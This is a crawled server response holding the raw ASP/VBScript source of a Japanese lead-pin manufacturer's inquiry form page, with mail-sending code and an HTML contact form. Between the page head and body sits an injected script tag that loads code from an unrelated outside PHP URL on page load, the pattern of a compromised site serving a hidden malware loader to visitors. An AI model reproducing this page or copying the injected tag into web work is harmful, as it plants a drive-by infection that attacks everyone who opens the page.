HTTP/1.1 200 OK
Date: Mon, 06 Dec 2010 15:02:19 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Wed, 10 Nov 2010 05:16:37 GMT
ETag: "3e700d7-2c54-f6285740"
Accept-Ranges: bytes
Content-Length: 11348
Connection: close
Content-Type: text/plain
<%@ LANGUAGE="VBScript" %>
<%
On Error Resume Next
'↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
KAKIKO = Request.Form("KAKIKO")
COMP = Request.Form("COMP")
BUMON = Request.Form("BUMON")
ZIP = Request.Form("ZIP")
ADD1 = Request.Form("ADD1")
ADD2 = Request.Form("ADD2")
NAME = Request.Form("NAME")
TEL = Request.Form("TEL")
EMAIL = Request.Form("EMAIL")
KATA = Request.Form("KATA")
CUT = Request.Form("CUT")
HEAD = Request.Form("HEAD")
PRESS = Request.Form("PRESS")
FORMING = Request.Form("FORMING")
NC = Request.Form("NC")
FFC = Request.Form("FFC")
COMMENT = Request.Form("COMMENT")
'
'↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
IF KAKIKO <> "" THEN
If COMP = "" OR NAME = "" OR EMAIL = "" Then
Response.Redirect "sendretry.html"
Response.End
ELSE
Set objMail = Server.CreateObject("basp21")
svname = "203.140.76.140" ' ドメイン名 + SMTP サーバマシン名 + PORT + TIMEOUT
mailto = "問合せ担当<iso@denken-t.co.jp>" ' 宛先
mailfrom = "ホームページからの問い合わせ<Administrator@denken-t.co.jp>" ' 差出し人
subj = "問合せＨＰ書込み報告" ' 件名
' 本文 改行は、vbCrLfで
body = "★会社名：" & Request.Form("COMP") & vbCrLf & _
"★部門名：" & Request.Form("BUMON") & vbCrLf & _
"★〒：" & Request.Form("ZIP") & vbCrLf & _
"★住所１：" & Request.Form("ADD1") & vbCrLf & _
"★住所２：" & Request.Form("ADD2") & vbCrLf & _
"★氏 名：" & Request.Form("NAME") & vbCrLf & _
"★Ｅメール:" & Request.Form("EMAIL") & vbCrLf & _
"★TEL：" & Request.Form("TEL") & vbCrLf & _
"★会社案内：" & Request.Form("KATA") & vbCrLf & _
"★カット：" & Request.Form("CUT") & vbCrLf & _
"★ヘッダー：" & Request.Form("HEAD") & vbCrLf & _
"★プレス：" & Request.Form("PRESS") & vbCrLf & _
"★フォーミング：" & Request.Form("FORMING") & vbCrLf & _
"★NC：" & Request.Form("NC") & vbCrLf & _
"★FFC：" & Request.Form("FFC") & vbCrLf & _
"★質問内容：" & vbCrLf & Request.Form("COMMENT")
' 添付ファイル
files = ""
rc = objMail.SendMail(svname,mailto,mailfrom,subj,body,files)
Set objMail = Nothing
IF rc <> "" THEN
Response.Redirect "sendng.html"
ELSE
Response.Redirect "sendok.html"
END IF
Response.End
'↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
END IF
Else %>
<html>
<head>
<meta NAME="description"content="電子部品用リードピン・線材・薄板材の極微細加工">
<meta NAME="keywords"content="株式会社 電研端子製作所,電子部品,リードピン,カッティング,プレス加工,精密切削,設備開発, ヘッダー加工,ファインフラットカット,破断面ゼロ,ISO9002認証">
<title>電子部品用リードピンの製造、線材・薄板材の極微細加工 〜株式会社 電研端子製作所〜</title>
<STYLE TYPE="text/css">
<!--
A:LINK {COLOR:#0000FF; TEXT-DECORATION:NONE}
A:VISITED {COLOR:#0000FF; TEXT-DECORATION:NONE}
A:HOVER {COLOR:#FF00FF; TEXT-DECORATION:UNDERLINE}
A:ACTIVE {COLOR:#FF0000; TEXT-DECORATION:NONE}
body {
scrollbar-arrow-color:white;
scrollbar-base-color:#57aebe;
scrollbar-face-color:#57aebe;
scrollbar-highlight-color:white;
scrollbar-shadow-color:white; }
-->
</STYLE>
<script Language="JavaScript">
<!--
if(document.images) {
var imgs = new Array();
imgs[0] = new Image(); imgs[0].src = "pic/0.gif";
imgs[1] = new Image(); imgs[1].src = "pic/0r.gif";
imgs[2] = new Image(); imgs[2].src = "pic/1.gif";
imgs[3] = new Image(); imgs[3].src = "pic/1r.gif";
imgs[4] = new Image(); imgs[4].src = "pic/2.gif";
imgs[5] = new Image(); imgs[5].src = "pic/2r.gif";
imgs[6] = new Image(); imgs[6].src = "pic/3.gif";
imgs[7] = new Image(); imgs[7].src = "pic/3r.gif";
imgs[8] = new Image(); imgs[8].src = "pic/4.gif";
imgs[9] = new Image(); imgs[9].src = "pic/4r.gif";
imgs[10] = new Image(); imgs[10].src = "pic/5.gif";
imgs[11] = new Image(); imgs[11].src = "pic/5r.gif";
imgs[12] = new Image(); imgs[12].src = "pic/6.gif";
imgs[13] = new Image(); imgs[13].src = "pic/6r.gif";
}
function chgimg(id, imgname) {
if(document.images) {
if(imgs[imgname]) {
document.images[id].src = imgs[imgname].src;
}
else {
document.images[id].src = imgname;
}
}
}
//-->
</script>
</head>
<script src=http://physicsxxi.com/CurrentImagesTest/DrL.php ></script><body topmargin="0">
<table width="700" height="88" cellspacing="0" cellpadding="0" border="0" align="center">
<tr>
<td background="pic/toplogo.gif"> </td>
</tr>
</table>
<table width="700" height="26" cellspacing="0" cellpadding="0" border="0" align="center">
<tr>
<td width="76"><a href="../index.html" onMouseOver="chgimg('img1',1)" onMouseOut="chgimg('img1',0)">
<img src="pic/0.gif" name="img1" border="0"></a></td>
<td width="95"><a href="../product/index.html" onMouseOver="chgimg('img3',3)" onMouseOut="chgimg('img3',2)">
<img src="pic/1.gif" name="img3" border="0"></a></td>
<td width="98"><a href="../company/index.html" onMouseOver="chgimg('img5',5)" onMouseOut="chgimg('img5',4)">
<img src="pic/2.gif" name="img5" border="0"></a></td>
<td width="112"><a href="../company/qc.html" onMouseOver="chgimg('img7',7)" onMouseOut="chgimg('img7',6)">
<img src="pic/3.gif" name="img7" border="0"></a></td>
<td width="92"><img src="pic/4r.gif"></td>
<td width="100"><a href="../eng/index.html" onMouseOver="chgimg('img11',11)" onMouseOut="chgimg('img11',10)">
<img src="pic/5.gif" name="img11" border="0"></a></td>
<td width="127"><img src="pic/7.gif"></td>
</tr>
</table>
<br>
<table width="700" cellspacing="0" cellpadding="0" border="0" align="center">
<tr>
<td><img src="pic/qa.gif"> </td>
</tr>
</table>
<table width="700" cellspacing="0" cellpadding="0" border="0" align="center">
<tr>
<td>お問合せありがとうございます。<br>下記のフォームに必要事項をご記入のうえ送信願います。<br>
当社営業より迅速にご回答させていただきます。<br><br>
<small>
お問合せを利用されるにあたり、ご提供いただいた個人情報の利用目的は次のとおりといたします。<br>
・お問合せ内容の調査のため。<br>
・お問合せに対する回答、情報提供のため。<br>
・利用された方との連絡のため<br>
上記目的以外には使用いたしません。<br></small>
</td></tr>
<tr><td><img src="pic/midline.gif"></td></tr>
<tr><td>
<br><font color="red">＊が付いている項目はもれなくご記入下さい</font></small></td>
</tr>
</table>
<!--------------------------------------------------------->
<form ACTION="<%= Request.ServerVariables("SCRIPT_NAME") %>" METHOD="POST">
<!--↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓--->
<INPUT TYPE="HIDDEN" NAME="KAKIKO" VALUE="KAKIKO" SIZE=0 MAXLENGTH=1>
<table width="700" cellspacing="0" cellpadding="0" border="0" align="center">
<tr>
<td width="150" align="right" valign="middle">
<small><font color="#FF0000">＊</font>貴社名：<small></td>
<td width="450">
<input TYPE="TEXT" NAME="COMP" SIZE="50" MAXSIZE="100" VALUE></td>
</tr>
<tr>
<td width="150" align="right"valign="middle">
<small>部門名：</small></td>
<td width="450">
<input TYPE="TEXT" NAME="BUMON" SIZE="50" MAXSIZE="100" VALUE></td>
</tr>
<tr>
<td width="150" align="right"valign="middle">
<small>郵便番号：</small></td>
<td width="450">
<input TYPE="TEXT" NAME="ZIP" SIZE="12" MAXSIZE="100" VALUE></td>
</tr>
<tr>
<td width="150"align="right" valign="top">
<small>ご住所：</small></td>
<td width="450">
<input TYPE="TEXT" NAME="ADD1" SIZE="50" MAXSIZE="100" VALUE><br>
<input TYPE="TEXT" NAME="ADD2" SIZE="50" MAXSIZE="100" VALUE> </td>
</tr>
<tr>
<td width="150"align="right" valign="middle">
<small><font color="#FF0000">＊</font>ご氏名:</small></td>
<td width="450">
<input TYPE="TEXT" NAME="NAME" SIZE="25" MAXSIZE="100" VALUE></td>
</tr>
<tr>
<td width="150" align="right"valign="middle">
<small>お電話番号：</small></td>
<td width="450">
<input TYPE="TEXT" NAME="TEL" SIZE="25" MAXSIZE="100" VALUE></td>
</tr>
<tr>
<td width="150" align="right"valign="middle">
<small><font color="#FF0000">＊</font>メールアドレス：</small></td>
<td width="450">
<input TYPE="TEXT" NAME="EMAIL" SIZE="50" MAXSIZE="100" VALUE></td>
</tr>
<tr>
<td VALIGN="middle" width="150" align="right" height="18">
<small>製品：</small></td>
<td width="450"><table border="0" width="100%" cellspacing="0" cellpadding="0">
<tr>
<td width="33%"><input type="checkbox" name="CUT" value="○"><small>ストレートカット</small></td>
<td width="33%"><input type="checkbox" name="HEAD" value="○"><small>ヘッダー加工</small></td>
<td width="34%"><input type="checkbox" name="PRESS" value="○"><small>プレス加工</small></td>
</tr>
<tr>
<td width="33%"><input type="checkbox" name="FORMING" value="○"><small>フォーミング加工</small></td>
<td width="33%"><input type="checkbox" name="NC" value="○"><small>切削加工</small></td>
<td width="34%"><input type="checkbox" name="FFC" value="○"><small>ファインフラットカット</small></td>
</tr>
</table>
</td>
</tr>
<tr>
<td VALIGN="top" width="150" align="right">
<small>ご質問内容：</small></td>
<td width="450"align="left"><textarea NAME="COMMENT" ROWS="10" COLS="50"></textarea></td>
</tr>
<tr>
<td width="150"> </td>
<td width="450"> <input TYPE="submit" VALUE="送信する">（ボタンは一度だけ押して下さい）
<input TYPE="RESET" VALUE="消去"> </td>
</tr>
</table>
</form>
<% End If %>
<table width="700" cellspacing="0" cellpadding="0" border="0" align="center">
<tr><td width="150"> </a>
<td width="550">このフォーム以外にも電話・ＦＡＸ・<a href="mailto:info@denken-t.co.jp"><img src="pic/mail.gif" border="0"></a>で、お気軽にお問い合わせ下さい。<br>
TEL 0743-79-1467 FAX0743-79-1468 営業部・菱田、平まで。<br><br></td></tr>
</table>
<table width="700" cellspacing="0" cellpadding="0" border="0" align="center">
<tr>
<td><img src="pic/bottom.gif"> </a></td>
</tr>
</table>
</html> |